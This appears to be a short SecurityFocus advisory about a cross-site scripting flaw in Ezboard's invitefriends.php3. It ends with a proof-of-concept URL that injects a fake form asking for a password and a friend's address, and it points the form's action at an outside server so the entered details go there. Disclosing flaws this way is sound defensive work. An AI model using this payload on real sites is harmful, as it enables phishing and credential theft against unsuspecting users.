source: http://www.securityfocus.com/bid/8519/info

The 'invitefriends.php3' script of Ezboard has been reported prone to cross-site scripting attacks. The issue occurs due to a lack of sufficient sanitization performed on user-supplied URI parameters. This issue could be exploited to cause hostile HTML and script code to be rendered in the browser of a user who is enticed to visit a malicious link to the vulnerable script.

It should be noted that it is currently unknown which versions of Ezboard are affected by this vulnerability. This bid will be updated as further information is made available. 

http://www.example.com/invitefriends.php3?action=http://www.server.org&yourName=%22%3E%3Cp%3E%3Cb%3EYou%20must%20enter%20your%20password%20to%20invite%20a%20friend%3C/b%3E%3Cp%3E%3Cinput%20type=password%20name=pass%3E%3
Cp%3E%3Cb%3EEnter%20your%20friend%20address%3C/b%3E%3Cp%3E%3Cinput%20type=text%20name=mail%3E%3C/form%3E%3C!--